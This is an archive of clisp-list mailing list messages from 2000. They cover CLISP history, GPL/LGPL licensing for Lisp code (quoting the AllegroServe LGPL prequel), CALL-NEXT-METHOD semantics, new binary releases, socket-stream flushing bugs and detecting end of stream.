13:12:56 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA24378 for ; Thu, 18 May 2000 13:12:54 -0700 Received: from ksp.com.ksp.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id PAA30019 for ; Thu, 18 May 2000 15:11:41 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Looking for bits of history References: <6rIdORcBCuVCcdsSVhnXxhQW8qp1@4ax.com> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Paolo Amoroso's message of "Sat May 13 14:50:47 EDT 2000" Date: 18 May 2000 16:09:53 -0400 Message-ID: Lines: 19 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message <6rIdORcBCuVCcdsSVhnXxhQW8qp1@4ax.com> >>>> On the subject of "[clisp-list] Looking for bits of history" >>>> Sent on Sat May 13 14:50:47 EDT 2000 >>>> Honorable Paolo Amoroso writes: >> I would appreciate it if the CLISP authors or maintainers could tell >> something about its history, e.g. when and how the project was started and >> by whom, what were its design goals, the major implementation challenges, >> etc. I'm just curious. When I asked for a doc/clisp-history file, Bruno told me that he "builds software, not myths." nevertheless, I join you in your request. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. A professor is someone who talks in someone else's sleep. From amoroso@mclink.it Fri May 19 11:49:06 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA29296 for ; Fri, 19 May 2000 11:49:04 -0700 Received: from net145-100.mclink.it (net145-100.mclink.it [195.110.145.100]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id UAA13544 for ; Fri, 19 May 2000 20:47:46 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Looking for bits of history Date: Fri, 19 May 2000 20:47:18 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <6rIdORcBCuVCcdsSVhnXxhQW8qp1@4ax.com> In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On 18 May 2000 16:09:53 -0400, Sam Steingold wrote: > When I asked for a doc/clisp-history file, Bruno told me that he > "builds software, not myths." Well, I was actually looking for trivia, not myths (for the latter there are already LispMs, Lucid and GLS :) Whether CLISP started as a research--on which topics?--or personal project, whether portability was a design choice from the start, etc. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From haible@ilog.fr Fri May 19 12:48:36 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA03029 for ; Fri, 19 May 2000 12:48:35 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA28111; Fri, 19 May 2000 21:43:09 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.115]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA21974; Fri, 19 May 2000 21:46:17 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id VAA12925; Fri, 19 May 2000 21:46:15 +0200 (MET DST) Date: Fri, 19 May 2000 21:46:15 +0200 (MET DST) Message-Id: <200005191946.VAA12925@oberkampf.ilog.fr> To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Looking for bits of history In-Reply-To: References: <6rIdORcBCuVCcdsSVhnXxhQW8qp1@4ax.com> Paolo Amoroso writes: > Well, I was actually looking for trivia, ... Whether CLISP started as a > research--on which topics?--or personal project, whether portability was a > design choice from the start, etc. Most of these questions are answered when you download the first public release of clisp, at ftp://ftp.sunsite.org.uk/Mirrors/ftp.uni-paderborn.de/atari/lang/lisp/clisp/ and the sources at ftp://sunsite.univie.ac.at/pub/languages/lisp/clisp/binaries/atari/oldclisp-source/ Bruno From azure@senstation.vvf.fi Mon May 22 03:55:53 2000 Received: from senstation.vvf.fi (senstation.vvf.fi [195.74.10.211]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id DAA31651 for ; Mon, 22 May 2000 03:55:52 -0700 Received: from azure by senstation.vvf.fi with local (Exim 3.12 #1 (Debian)) id 12tpqM-000784-00; Mon, 22 May 2000 13:53:54 +0300 To: clisp-list@lists.sourceforge.net From: Hannu Koivisto Date: 22 May 2000 13:53:54 +0300 Message-ID: <87vh06kg8t.fsf@senstation.vvf.fi> Lines: 36 User-Agent: Gnus/5.0805 (Gnus v5.8.5) Emacs/20.5 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: Hannu Koivisto Subject: [clisp-list] CL-GTK and CLISP license? Greetings, Some time ago I asked for clarification on CLISP's license but got no answer. I'll try once more from a bit different viewpoint. Espen S. Johnsen has written GTK bindings that support CMUCL and CLISP. The package is distributed under LGPL license. It uses CLISP's FFI package (in #+clisp ... code). Is this legal? I've tried to interpret GPL and LGPL but I just don't get it. Somehow based on the explanation of derivative work I get a feeling that it /might/ be legal when distributed on its own, but I'm getting headache when I think what happens if I actually try to use it with CLISP to create a non-GPL application that doesn't use CLISP internals but it uses CL-GTK that does. Then again, when I read Why-CLISP-is-under-GPL text I'm starting to doubt whether CL-GTK is legal even if it is distributed on its own. The reason I'm wondering this is that I'm trying to find a Common Lisp implementation that I could use to create something along the lines of Software Carpentry's SC Build tool, i.e. basically a make replacement. CLISP is pretty much the only alternative with regard to portability requirements, but since it doesn't have good enough system interfaces for running external programs etc. I would need to write them myself and thus need to use CLISP-specific packages such as FFI. However, I'd prefer this build tool to be distributed under BSD license (or similar) and I also don't want to impose any particular license on users' "makefiles" that may contain arbitrary CL code (i.e. if they don't use CLISP internals, they shouldn't need to make their "makefiles" GPL'ed just because the build system they use uses CLISP internals). Thanks in advance, -- Hannu From don@baja.nichimen.com Mon May 22 09:56:53 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA17016; Mon, 22 May 2000 09:56:52 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id JAA22675; Mon, 22 May 2000 09:55:16 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id JAA23879; Mon, 22 May 2000 09:55:14 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 22 May 2000 09:55:14 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: Hannu Koivisto Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] CL-GTK and CLISP license? cc: clocc-list@lists.sourceforge.net In-Reply-To: <87vh06kg8t.fsf@senstation.vvf.fi> References: <87vh06kg8t.fsf@senstation.vvf.fi> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14633.20532.580448.58648@santorini> The original message from Hannu Koivisto asks whether one is allowed to distribute non GPL applications built from Clisp plus other (L)GPL lisp code. The basic problem is that (L)GPL is really meant for c code, not lisp code. The Clisp copyright specifically weakens the requirements in an appropriate way. You can write a common lisp program and distribute it as a Clisp image if you also offer the customer all he needs in order to build that image, i.e., the appropriate version of Clisp, the files that have to be loaded into it, and the directions for doing that. I see two probems when you want to distribute an application that contains some other (L)GPL code. 1. The Clisp copyright says: You may copy and distribute memory image files generated by the function SAVEINITMEM, if it was generated only from CLISP and independent work ... How about images generated from CLISP, other LGPL code, and independent work? Of course, if the other LGPL code is independent work, then the original copyright allows it. What we need is permission if it's not. 2. It's not so clear whether your code is "derived from" that other LGPL code. I notice that there's a file in the new Allegro web server that specifically addresses this problem. (Allegroserve is available from ftp://ftp.franz.com/pub/aserve/). I include the file license-allegroserve.txt below. I'd like to thank Franz both for attempting to clarify this subject and for releasing code under that license. I think it would be useful to add that sort of clarification to the code in libraries (such as CLOCC). I guess I'm proposing a new license, the "LispGPL", which is suitable for lisp code. ================ Prequel to the Gnu Lesser General Public License Copyright (c) 2000 Franz Inc., Berkeley, CA 94704 Franz Inc. has adopted the concept of the GNU Lesser General Public License version 2.1 ("LGPL") to govern the use and distribution of AllegroServe. However, LGPL uses terminology that is more appropriate for a program written in C than one written in Lisp. Nevertheless, LGPL can still be applied to a Lisp program if certain clarifications are made. This document details those clarifications. Accordingly, the license for AllegroServe consists of this document plus LGPL. Wherever there is a conflict between this document and LGPL, this document takes precedence over LGPL. A "Library" in Lisp is a collection of Lisp functions, data and foreign modules. The form of the Library can be Lisp source code (for processing by an interpreter) or object code (usually the result of compilation of source code or built with some other mechanisms). Foreign modules are object code in a form that can be linked into a Lisp executable. When we speak of functions we do so in the most general way to include, in addition, methods and unnamed functions. Lisp "data" is also a general term that includes the data structures resulting from defining Lisp classes. A Lisp application may include the same set of Lisp objects as does a Library, but this does not mean that the application is necessarily a "work based on the Library" it contains. The AllegroServe Library consists of everything in the AllegroServe distribution file set before any modifications are made to the files. If any of the functions or classes in the AllegroServe Library are redefined in other files, then those redefinitions ARE considered a work based on the AllegroServe Library. If additional methods are added to generic functions in the AllegroServe Library, those additional methods are NOT considered a work based on the AllegroServe Library. If AllegroServe classes are subclassed, these subclasses are NOT considered a work based on the AllegroServe Library. If the AllegroServe Library is modified to explicitly call other functions that are neither part of Lisp itself nor an available add-on module to Lisp, then the functions called by the modified AllegroServe Library ARE considered a work based on the AllegroServe Library. The goal is to ensure that the AllegroServe Library will compile and run without getting undefined function errors. It is permitted to add proprietary source code to the AllegroServe Library, but it must be done in a way such that the AllegroServe Library will still run without that proprietary code present. Section 5 of the LGPL distinguishes between the case of a library being dynamically linked at runtime and one being statically linked at build time. Section 5 of the LGPL states that the former results in an executable that is a "work that uses the Library." Section 5 of the LGPL states that the latter results in one that is a "derivative of the Library", which is therefore covered by LGPL. Since Lisp only offers one choice, which is to link the Library into an executable at build time, we declare that, for the purpose applying LGPL to the AllegroServe Library, an executable that results from linking a "work that uses the AllegroServe Library" with the Library is considered a "work that uses the Library" and is therefore NOT covered by LGPL. Because of this declaration, section 6 of LGPL is not applicable to the AllegroServe Library. However, in connection with each distribution of this executable, you must also deliver, in accordance with the terms and conditions of the LGPL, the source code of AllegroServe Library (or your derivative thereof) that is incorporated into this executable. From zbyszek@mimuw.edu.pl Wed May 24 06:06:05 2000 Received: from duch.mimuw.edu.pl (IDENT:qmailr@duch.mimuw.edu.pl [193.0.96.2]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id GAA04651 for ; Wed, 24 May 2000 06:05:55 -0700 Received: (qmail 4181 invoked from network); 24 May 2000 13:02:56 -0000 Received: from pc4390b.mimuw.edu.pl (HELO localhost) (148.81.13.115) by duch.mimuw.edu.pl with SMTP; 24 May 2000 13:02:56 -0000 Message-ID: <392C51CB.3EE@mimuw.edu.pl> Date: Wed, 24 May 2000 15:03:55 -0700 From: Zbyszek Jurkiewicz X-Mailer: Mozilla 2.02 (Win16; I) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] call-next-method Would it be hard to change CALL-NEXT-METHOD into a function (instead of macro)? Without it, CLISP is inconsistent with ANSI CL and CLtL2, and some programs cannot not be ported easily to it. The IMPNOTES.HTML proposes to use #'(lambda () (call-next-method)) instead of #'call-next-method, but this solution would not work if one (e.g. me) wants to pass changed arguments to it and MUST use APPLY. This happens whey you write :AROUND method for INITIALIZE-INSTANCE, where the list of keyword arguments could be (possibly) enormous, and you (or package which is being ported) tries to modify it. Thanks for your attention Zbyszek Jurkiewicz University of Warsaw From haible@ilog.fr Wed May 24 07:00:53 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA07734 for ; Wed, 24 May 2000 07:00:53 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA16492; Wed, 24 May 2000 15:54:52 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.143]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA29618; Wed, 24 May 2000 15:58:01 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA15237; Wed, 24 May 2000 15:57:23 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14635.57283.694116.720078@honolulu.ilog.fr> Date: Wed, 24 May 2000 15:57:23 +0200 (CEST) To: Zbyszek Jurkiewicz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] call-next-method In-Reply-To: <392C51CB.3EE@mimuw.edu.pl> References: <392C51CB.3EE@mimuw.edu.pl> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Zbyszek Jurkiewicz writes: > Would it be hard to change CALL-NEXT-METHOD into a function > (instead of macro)? Without it, CLISP is inconsistent with > ANSI CL and CLtL2, and some programs cannot not be ported > easily to it. > > The IMPNOTES.HTML proposes to use #'(lambda () (call-next-method)) > instead of #'call-next-method, but this solution would not work > if one (e.g. me) wants to pass changed arguments to it and MUST > use APPLY. > > This happens whey you write :AROUND method for INITIALIZE-INSTANCE, > where the list of keyword arguments could be (possibly) enormous, > and you (or package which is being ported) tries to modify it. Your explanation is convincing. For the first time, I see a way to implement it: CALL-NEXT-METHOD must be defined as both a macro (for efficiency) and a function (for correctness). It will involve changes in the compiler and the interpreter, but is doable. Thanks for the suggestion and the carefully prepared mail. Bruno From haible@ilog.fr Fri May 26 03:34:05 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id DAA18704 for ; Fri, 26 May 2000 03:34:04 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA08292 for ; Fri, 26 May 2000 12:28:36 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.182]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA23657; Fri, 26 May 2000 12:31:46 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id MAA25166; Fri, 26 May 2000 12:31:27 +0200 From: Bruno Haible Message-ID: <14638.21119.455664.720237@honolulu.ilog.fr> Date: Fri, 26 May 2000 12:31:27 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] new Windows binaries Binaries for Win32 have been made from the 2000-03-06 release sources. You find them at ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/clisp-win32.zip ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/clisp-win32.zip Bruno From haible@ilog.fr Wed May 31 08:18:10 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA11139 for ; Wed, 31 May 2000 08:18:08 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA23804 for ; Wed, 31 May 2000 17:12:14 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.246]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA19598; Wed, 31 May 2000 17:15:25 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id RAA15909; Wed, 31 May 2000 17:14:55 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14645.11375.526340.65926@honolulu.ilog.fr> Date: Wed, 31 May 2000 17:14:55 +0200 (CEST) To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] new IA-64 binaries Binaries for IA-64 running Linux (glibc 2.1.x) have been made from the 2000-03-06 release sources. You find them at ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/clisp-ia64-linux.tar.gz ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/clisp-ia64-linux.tar.gz Bruno From ygrats@gmx.net Wed Jun 7 09:56:52 2000 Received: from www7.gmx.net (www.gmx.net [194.221.183.47]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id JAA06190 for ; Wed, 7 Jun 2000 09:56:51 -0700 Received: (qmail 18030 invoked by uid 0); 7 Jun 2000 16:53:34 -0000 Date: Wed, 7 Jun 2000 18:53:34 +0200 (MEST) From: Martin =?ISO-8859-1?Q?Atzm=FCller?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Authenticated-Sender: #0001639724@gmx.net X-Authenticated-IP: [129.116.226.162] Message-ID: <17794.960396814@www7.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Refering to "CLISP & flushing on socket-stream" Hi I just read the lisp newsgroup and found the article by Rafal Strzaliski, regarding the above subject. Maybe I can elaborate a bit on this. Recently I wrote a HTTP-server for Clisp. When sending a POST-reply back to Netscape, sometimes Netscape insisted that it had not seen all the data before the connection was closed. I used write-byte-sequence to write the data over the socket-stream. When I inserted (sleep 1) or even (sleep 0.1) _before_ I closed the connection, all worked fine. I am not really sure, why. I tried to use force-output or finish-output, but this did not help a lot. When I looked at the sourcecode, I noted one thing: In my opinion force-/finish-output do nothing on unbuffered streams, and a socket-stream is an unbuffered stream, or am I wrong here? Comments? Cheers, Martin -- Homepage: http://jove.prohosting.com/~ygrats/ Mail: ygrats@gmx.net Sent through GMX FreeMail - http://www.gmx.net From emarsden@laas.fr Thu Jun 8 02:43:03 2000 Received: from laas.laas.fr (root@laas.laas.fr [140.93.0.15]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id CAA05467 for ; Thu, 8 Jun 2000 02:42:43 -0700 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.9.3/8.9.3) with ESMTP id LAA11139 for ; Thu, 8 Jun 2000 11:35:23 +0200 (MET DST) Received: (from emarsden@localhost) by dukas.laas.fr (8.9.3/8.9.3) id LAA23232; Thu, 8 Jun 2000 11:35:22 +0200 (MET DST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Refering to "CLISP & flushing on socket-stream" References: <17794.960396814@www7.gmx.net> From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ Date: 08 Jun 2000 11:35:22 +0200 In-Reply-To: Martin Atzmüller's message of "Wed, 7 Jun 2000 18:53:34 +0200 (MEST)" Message-ID: Lines: 16 User-Agent: Gnus/5.0806 (Gnus v5.8.6) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id CAA05467 >>>>> "ma" == Martin Atzmüller writes: ma> Recently I wrote a HTTP-server for Clisp. When sending a ma> POST-reply back to Netscape, sometimes Netscape insisted that it ma> had not seen all the data before the connection was closed. I have also run into this problem: Netscape says "server closed connection prematurely". The same code used to work with older versions of CLISP; maybe something has changed with the buffering code? Shouldn't closing a socket automatically flush all pending unwritten data? -- Eric Marsden From R.Strzalinski@elka.pw.edu.pl Fri Jun 9 01:34:42 2000 Received: from elektron.elka.pw.edu.pl (root@elektron.elka.pw.edu.pl [148.81.63.249]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id BAA09217 for ; Fri, 9 Jun 2000 01:34:24 -0700 Received: (from localhost user: 'rstrzali', uid#8180) by elektron.elka.pw.edu.pl id ; Fri, 9 Jun 2000 10:30:16 +0200 To: clisp-list@lists.sourceforge.net Sender: Rafal Strzalinski From: Rafal Strzalinski Date: 09 Jun 2000 10:30:15 +0200 Message-ID: Lines: 38 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Subject: [clisp-list] socket streams I have a problem with stream sockets in CLISP. The following session shows the problem. $ cat test.lsp (setq s (socket-server 5555)) (setq x (socket-accept s)) (format x "Hello!~%") (setq y (read-line x)) (format x "y = ~A~%" y) (format x "BYE~%") (force-output x) (finish-output x) ;(sleep 1) (close x) (socket-server-close s) $ clisp test.lsp & [1] 13402 $ telnet nabla 5555 Trying 10.0.4.2... Connected to nabla.ustronet. Escape character is '^]'. Hello! hello hello [1] + done clisp test.lsp Connection closed by foreign host. Flushing output doesn't work correct. Where is "BYE". -- Rafal Strzalinski mailto:rstrzali@elka.pw.edu.pl http://home.elka.pw.edu.pl/~rstrzali From don@baja.nichimen.com Fri Jun 9 09:36:35 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA09443 for ; Fri, 9 Jun 2000 09:36:34 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id JAA16270; Fri, 9 Jun 2000 09:33:41 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id JAA19066; Fri, 9 Jun 2000 09:33:35 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Fri, 9 Jun 2000 09:33:35 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: Rafal Strzalinski Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] socket streams In-Reply-To: References: X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14657.5356.120831.210684@santorini> Rafal Strzalinski I have a problem with stream sockets in CLISP. The following session shows the problem. $ cat test.lsp (setq s (socket-server 5555)) (setq x (socket-accept s)) (format x "Hello!~%") (setq y (read-line x)) (format x "y = ~A~%" y) (format x "BYE~%") (force-output x) (finish-output x) ;(sleep 1) (close x) (socket-server-close s) $ clisp test.lsp & [1] 13402 $ telnet nabla 5555 Trying 10.0.4.2... Connected to nabla.ustronet. Escape character is '^]'. Hello! hello hello [1] + done clisp test.lsp Connection closed by foreign host. Flushing output doesn't work correct. Where is "BYE". I guess this depends on such things as the clisp version and the OS. In clisp-2000-03-06 on linux I don't see this problem. In fact, the output appears without any force-output. However, I see a related problem. If I close the shell window in which the telnet is done, the lisp process does not see that the stream is closed. In a clisp built from source about a week ago: [1]> (setq s (socket-server 5555)) # [2]> (setq x (socket-accept s)) [now I telnet] # [now I close the telnet window] [3]> x # [4]> (open-stream-p x) T [5]> (lisp:socket-status x) :OUTPUT [6]> (print 1 x) 1 The next time I try to print to x I get *** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or socket closed Now the Really weird part - I run xemacs, start a shell from there, run clisp in that shell, do the first two lines above (socket-server, socket-accept), and then from another shell, telnet to the server and then close the shell window. My xemacs process disappears ! This is reproducible. Multiple machines. Any ideas? From don@baja.nichimen.com Fri Jun 9 10:14:22 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA11292 for ; Fri, 9 Jun 2000 10:14:22 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id KAA16984; Fri, 9 Jun 2000 10:11:11 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id KAA18869; Fri, 9 Jun 2000 10:11:09 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Fri, 9 Jun 2000 10:11:09 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: don@nichimen.com (Don Cohen) Cc: Rafal Strzalinski , clisp-list@lists.sourceforge.net Subject: [clisp-list] socket streams In-Reply-To: <14657.5356.120831.210684@santorini> References: <14657.5356.120831.210684@santorini> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14657.8756.341084.408810@santorini> One problem solved - exiting xemacs is only in the case where I close the window from which I started xemacs. I started it with &. Weird. If I exit from that shell by typing exit the xemacs survives, but if I close the shell window it does not. Well, now we're getting away from clisp into unix (linux?) questions. The rest of my previous message remains valid. From R.Strzalinski@elka.pw.edu.pl Mon Jun 12 05:29:37 2000 Received: from elektron.elka.pw.edu.pl (root@elektron.elka.pw.edu.pl [148.81.63.249]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA07244 for ; Mon, 12 Jun 2000 05:28:10 -0700 Received: (from localhost user: 'rstrzali', uid#8180) by elektron.elka.pw.edu.pl id ; Mon, 12 Jun 2000 14:24:22 +0200 To: don@nichimen.com (Don Cohen) Cc: Rafal Strzalinski , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket streams References: <14657.5356.120831.210684@santorini> Sender: Rafal Strzalinski From: Rafal Strzalinski Date: 12 Jun 2000 14:24:20 +0200 In-Reply-To: don@nichimen.com's message of "Fri, 9 Jun 2000 09:33:35 -0700 (PDT)" Message-ID: Lines: 54 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" don@nichimen.com (Don Cohen) writes: > Rafal Strzalinski > > > I have a problem with stream sockets in CLISP. > The following session shows the problem. > > $ cat test.lsp > (setq s (socket-server 5555)) > (setq x (socket-accept s)) > (format x "Hello!~%") > (setq y (read-line x)) > (format x "y = ~A~%" y) > (format x "BYE~%") > (force-output x) > (finish-output x) > ;(sleep 1) > (close x) > (socket-server-close s) > > $ clisp test.lsp & > [1] 13402 > $ telnet nabla 5555 > Trying 10.0.4.2... > Connected to nabla.ustronet. > Escape character is '^]'. > Hello! > hello > hello > [1] + done clisp test.lsp > Connection closed by foreign host. > > > Flushing output doesn't work correct. Where is "BYE". > > I guess this depends on such things as the clisp version and the OS. > In clisp-2000-03-06 on linux I don't see this problem. In fact, the > output appears without any force-output. I've swiched to cmu-lisp with net library from clocc.sourceforge.net and I'm very happy :-)). Everything works OK. > The next time I try to print to x I get > *** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or > socket close Under cmu-lisp you can catch SIGPIPE. -- Rafal Strzalinski mailto:rstrzali@elka.pw.edu.pl http://home.elka.pw.edu.pl/~rstrzali From root@we-24-130-53-144.we.mediaone.net Mon Jun 12 05:46:23 2000 Received: from we-24-130-53-144.we.mediaone.net (we-24-130-53-144.we.mediaone.net [24.130.53.144]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA07800 for ; Mon, 12 Jun 2000 05:46:23 -0700 Received: (from root@localhost) by we-24-130-53-144.we.mediaone.net (8.9.3/8.9.3) id FAA04376; Mon, 12 Jun 2000 05:42:57 -0400 Date: Mon, 12 Jun 2000 05:42:57 -0400 Message-Id: <200006120942.FAA04376@we-24-130-53-144.we.mediaone.net> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] testing for eof I sent an earlier message about socket streams but I now think that this is a more general problem, a hole in the cl spec. The problem: how can I tell when I've reached the end of a stream? Well, there is a way for character streams: (defun eof-p (stream) (let ((ans (read-char-no-hang stream nil :eof))) ;; ans is now a char, nil or :eof (when (eql ans :eof) (return-from eof-p t)) (when ans (unread-char ans stream)) nil)) If it's a binary stream what can I do? There's no unread-byte. There's no read-byte-no-hang. The closest I can see is changing the stream to a character stream then doing above, then changing it back. This does not work, though. If the read-char-no-hang returns #\newline there's no reason to expect that the unread-char will restore the stream to its previous state with respect to read-byte. The input might have contained crlf and be restored to only lf or vice versa. So, here's my next request. Could we have an eof-p function that works on binary streams (preferably on all streams)? Unlike some of my other recent requests, this seems like one that should be easy to implement. From R.Strzalinski@elka.pw.edu.pl Mon Jun 12 06:08:37 2000 Received: from elektron.elka.pw.edu.pl (root@elektron.elka.pw.edu.pl [148.81.63.249]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA08660 for ; Mon, 12 Jun 2000 06:06:04 -0700 Received: (from localhost user: 'rstrzali', uid#8180) by elektron.elka.pw.edu.pl id ; Mon, 12 Jun 2000 15:01:38 +0200 To: don@nichimen.com (Don Cohen) Cc: Rafal Strzalinski , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket streams References: <14657.5356.120831.210684@santorini> <14657.8756.341084.408810@santorini> Sender: Rafal Strzalinski From: Rafal Strzalinski Date: 12 Jun 2000 15:01:37 +0200 In-Reply-To: don@nichimen.com's message of "Fri, 9 Jun 2000 10:11:09 -0700 (PDT)" Message-ID: Lines: 15 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" don@nichimen.com (Don Cohen) writes: > One problem solved - exiting xemacs is only in the case where I close > the window from which I started xemacs. I started it with &. > Weird. You kill shell, and shell kills started jobs. try disown %1 where %1 is a xemacs's job number. -- Rafal Strzalinski mailto:rstrzali@elka.pw.edu.pl 